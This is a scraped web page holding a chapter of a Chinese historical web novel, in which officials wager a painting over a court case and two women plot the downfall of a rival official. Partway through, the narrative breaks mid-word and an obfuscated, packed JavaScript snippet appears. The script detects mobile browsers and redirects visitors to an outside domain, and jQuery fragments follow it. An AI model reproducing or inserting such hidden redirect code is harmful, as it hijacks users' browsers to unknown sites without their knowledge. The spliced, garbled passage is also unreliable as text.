默认冷灰
24号文字
方正启体

28. 陆程作赌

作者:不嗅青梅本书字数:K更新时间:
    十月二十日,庄清蘩终于结束了齐安之行,回到京都。


    恰逢何妤的青篷马车路过八方客所在的潘门大街。


    程懿单手把在腰间卧鹿纹金带之上,凭轩而立,自上往下俯视:“猜猜我瞧见谁了?”


    陆彧正用银剪将二两半重母蟹的左右各四个蟹腿给剪下来,再令剪子往关节处剪一下,最后用蟹针轻松从长条蟹腿里推出油白蟹肉。


    将八条蟹腿都处理摆好,陆彧才分心回程懿:“算日子,庄清蘩该回来了。”


    程懿修长五指屈伏在樟木窗槛之上,遥望马车远去的方向:“真是与我心有灵犀呐,何侍郎正驾车,预备为青天大人接风洗尘。”


    陆彧将蟹胃、蟹心、蟹腮等寒凉或是藏了脏物的部位一并去了。


    “不如我们俩打个赌?”程懿关上半扇雕花窗,坐到陆彧身旁的鼓凳之上,笑吟吟地相问。


    陆彧右手持银剪,再将处理好的蟹从中间一剪,淌出大块橘黄色油润蟹黄。


    陆彧狭长凤目间只余蟹黄与膏肉,难得带上两分愉悦。


    至于良久未回程懿的话,便是不想与他作赌。


    程懿岂会善罢此事,长日无聊,他正想寻些不一样的事情做做:“便以我新得的那副《赏秋图》作彩头。”


    《赏秋图》这幅画是本朝大儒宁济年轻时的画作,宁先生早已封笔,他的画现在是千金难求看一眼。


    程懿与陆彧都为此画争了许久,却被一臣子不知用何法秘密得之,后献于陛下,二人只能赏些别的古玩字画自娱。


    去年徽帝将此画赐给永安长公主作寿礼。


    程懿这皮猴年年求、日日要,闹得永安长公主不安生,便求了陛下转赠此画,最后这画就落到程懿手中。


    陆彧拼蟹壳的动作一顿,用势在必得的眼神投向程懿,薄唇轻启:“赌什么?”


    “嘶……,便赌庄清蘩是否能逼得陛下重重处置王崇明,何如?”程懿挑眉,将陆彧拼好的蟹尸给拨乱了。


    陆彧耐着性子将蟹重新摆放好,才应声。


    程懿又说:“那便定了,君子一言,驷马难追。若是你输了,就茹素一月。”


    陆彧饮下一杯黄酒,瞄向程懿贼笑表情,喉间发出低沉的声音:“可。”


    “那我先来选。”程懿唤来笔墨伺候,毫不留情地写上字据,抢占先机,他可太想见陆彧学兔子食草了。


    陆彧反手压住笔杆,是他低估了程懿的皮厚程度:“程不难,你今日怎么不客随主便?”


    程懿左手拿过笔继续写:“言之有理,那我们现下去公主府下注。”


    回到公主府,那他便成了主人,陆彧就得乖乖当客人。


    他大概知道这《赏秋图》,程懿是怎么磨到手的了。


    陆彧这次不拦程懿的动作,只放声道:“不妨换个赌法。”


    程懿听这话苗便觉得有意思,遂放下笔,让陆彧继续说。


    “我们各选“能”与“否”,可相同。一人猜对,无论对方答案,都将履约。”陆彧慢条斯理地说出新规则。


    “陆不困,怎么听着我倒亏了?”程懿虽这么说,但又重新拾起笔,显然是同意了。


    陆彧在龙飞凤舞间签上自己的名字。


    程懿屈指,反手用指节向下一溜扣过整张信纸,笑着打趣:“陆大人的字签得就是正。”


    走前,程懿实在手痒,不忘将陆彧再度拼好的螃蟹打乱。


    陆彧面无表情地重新拾起腰圆锤,预备将程懿的脑袋当蟹壳锤开。


    程懿笑嘻嘻地跑开了,再令小厮风驰电掣般驾车,要将陆彧远远甩在后头。


    陆彧则是重新拼好了蟹才安然回府。


    芜琴来收拾的时候可没那么讲究,一抹布将拼好的三只蟹全给挥散架了。


    何妤本想就在城外迎候,庄清蘩却反复说不必如此劳烦,遂在丞相府门口候着庄清蘩归来。


    怀枝掀开大半车帘,庄清蘩绣鞋软履踩在轿凳上款款而下,一个小女郎也跟着下来。


    “你便是蘩娘的学生,晏小娘子吧?”何妤不曾敛下好奇的目光,打量一番后友善相问。


    何妤可比庄清蘩这个做老师的还要热情两分,她替庄清蘩高兴,何妤觉得庄清蘩就需要找个会听心音的人陪伴消遣。


    “妤姐姐好。”江清晏生涩地行了一个万福礼。


    庄清蘩早就在书信中为二人牵桥搭线。


    “不成,不成,你称我姐姐,将我韶华喊少了。我虽高兴,但反倒要矮你老师一辈了,唤我妤姨或妤娘便好。”何妤打趣两句,她比庄清蘩还长两岁呢。


    “妤姨安。”江清晏挑了后者,妤娘更像是长辈或同辈间的亲昵称呼,不够正式严肃。


    何妤受礼,投其所好地拿出一个锦盒,里头放的是一对磨喝乐,在小孩子间风靡不已。


    别看这东西小,贵些的可值千文钱。


    何妤将盒子打开,一手拿荷叶托、穿着缩小红褙子的泥塑娃娃稳稳立在当中。


    江清晏心下虽喜欢不已,但还是先望向庄清蘩,无声询问是否可收下。


    庄清蘩见江清晏两眼放光,微微颔首,表明她可以安心接下见面礼。


    “妤姨~你怎么没给人家也准备一份?”怀枝捏住嗓子,矫揉造作地问何妤。


    “怀枝,你已经过了赏玩此物的年纪了。”何妤真是受不住这活宝。


    庄清蘩这般稳重自持的性子,怎么带出来这般活泼的暗卫。


    “枝小娘子。”


    听庄清蘩冷不丁这么一喊,怀枝就知道自己要被制裁了。


    果不其然,“我书房里存了字帖,你可需要?”庄清蘩地分了一个“关爱”的眼神给怀枝。


    泼猴自有如来佛祖治,怀枝顿时不敢耍宝,称要带江清宴认识府内诸人,拉着江清晏就往府里溜。


    “还是你能治怀枝。”何妤望着怀枝二人活泼奔去的背影,感概一句。


    庄清蘩敛下杏眸间微不可察的星点笑意,和何妤一同进府。


    庄清蘩不急着和何妤谈论政事,取出云母,自顾自地往香炉中添沉香,舒缓渐浸的气味不久盈满于室。


    何妤接下侍女端上的茶水,先有兴致的呷上一口,不复上次议事的食不下咽。


    庄清蘩用清水净手,而后捧走一盘点心放到书案之上,拿起五香糕吃了起来。


    “蘩娘查得如何?”何妤等庄清蘩吃下两块点心,才放下茶碗相问。


    其实何妤看庄清蘩一派轻松,还有兴致焚香吃糕点,便知道事情多半得偿所愿。


    “临出发时,陛下将中宫有孕一事透露给我。”庄清蘩一语惊住何妤。


    何妤被骇得差点将茶碗和装糕点的瓷盘给一并打了。


    “王崇明不能死了。”庄清蘩从笔挂中随手取下一支笔,略带遗憾地朝何妤解释。


    何妤一点就通,她明白庄清蘩话间意思,但她久久不能相信这是从庄清蘩嘴中说出来的。


    何妤眸中满是诧异,忍不住盯着庄清蘩的每一个神色,甚至怀疑庄清蘩是否被下降头了


    何妤和庄清蘩是两类人。


    庄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510284|186163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    清蘩可以为了公理正义慨然赴死,如那鸣蝉伏土数年,只为那叫一声。


    而何妤会选明哲保身,作那福寿老龟,熬死那些宵小之徒。


    二者并无对错之分,只是理念不同。


    而今她没想到庄清蘩竟能够坐视不理。


    何妤朝支摘窗外放眼瞧去,天上也没下红雨啊,今日太阳也是从东边升起来的。


    何妤再度拿起茶盏,这碧水也没倒灌出来,真真是何妤做痴梦都不敢想的画面。


    往常遇见这样蒙冤之事,自己再三劝解,庄清蘩都不肯往后退半步。


    也幸得是些小事,不致君臣离心,庄清蘩坚持不让也显得像个忠贞之臣。


    何妤想庄清蘩能自行想通也好,不至闹得君臣离心离德的难堪场面,更至误了卿卿性命。


    不等何妤问为什么,庄清蘩又将一沓密信递过去。


    何妤翻看,全是一个叫范玟的罪行,欺男霸女,侵占良田,卖官鬻爵,收受贿赂……,真是无恶不作。


    “这?”何妤指向手中捏的证据,蹙眉皱面,已是不想再细细看,反污了自己的眼睛。


    “范平澜的侄子。”庄清蘩言简意赅地朝何妤点明二人间的叔侄关系,并取下汗巾子将指腹间的碎末碎屑都擦干净了。


    “范平澜知道?那你预备如何?”何妤知道好友从不为无关紧要的人或事费心,若是单单想处置范玟一人,就没必要和自己商议。


    “程闻昱不是正被关着吗?”庄清蘩点出最为关键的人物。


    何妤自是听明白了,可却不太赞同:“范平澜管教子侄不力,但罪不至此。”


    哪怕是为了顺从帝心,找一个替罪羊,也不该是范平澜啊。


    “我若说范平澜结党,意欲参与储君之争,你可信?”庄清蘩撂下笔,抬头望着何妤。


    何妤闻言沉默,她深知庄清蘩最为谨慎,只有八分把握,都不会将这种事拿出来说。


    既然和自己提了,那就是真的。


    “消息是否有误?一点转圜都无?”何妤仍想为范平澜一谏,大家都是从脚踩烂泥,慢慢走上九霄的。


    如今做到正四品侍郎的位置,何其不易。


    “无误。他死心塌地地效忠主子,出力不少。”庄清蘩言下之意便是没什么好一辩的了。


    若是旁人,庄清蘩一定不会再解释,但见何妤仍有些难掩伤怀,庄清蘩复又劝了两句。


    “你有十足把握游说他重新做一个纯臣?还是赌他的主子早早被陛下厌弃?”


    “妤娘,你有赌万分之一的勇气吗?我没有。”庄清蘩叹气。


    何妤难得没应声。


    半晌她闷闷说出自己最终的答案,“死得其所,死有余辜。”


    徽帝春秋鼎盛,庄清蘩和何妤不能让储位之争早早发生。


    这看起来倒有些杞人忧天,但为了维护南秦的稳定,庄清蘩别无选择。


    庄清蘩轻沾朱砂,在小小的纸条上写下范平澜的名字,轻挥狼毫,旋即打上一个大大的红叉。


    天色渐晚,书房中已然点了烛火,庄清蘩手执这张“催命符”,缓缓放在烛芯之上。


    火光瞬间吞噬纸条的底部,橙红色的火苗拼命的往上钻,成片状的灰烬还没反应过来就掉进烛油中。


    在将烧未烧完之际,庄清蘩纤手一松,整张纸直直往下坠,如被割断丝线的风筝。


    何妤顺势取了头上的簪子,轻轻拨弄,让它烧得更旺。


    火焰在庄清蘩的眸间肆意起舞,她不做玩火自焚之人,只做星火燎原之士。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)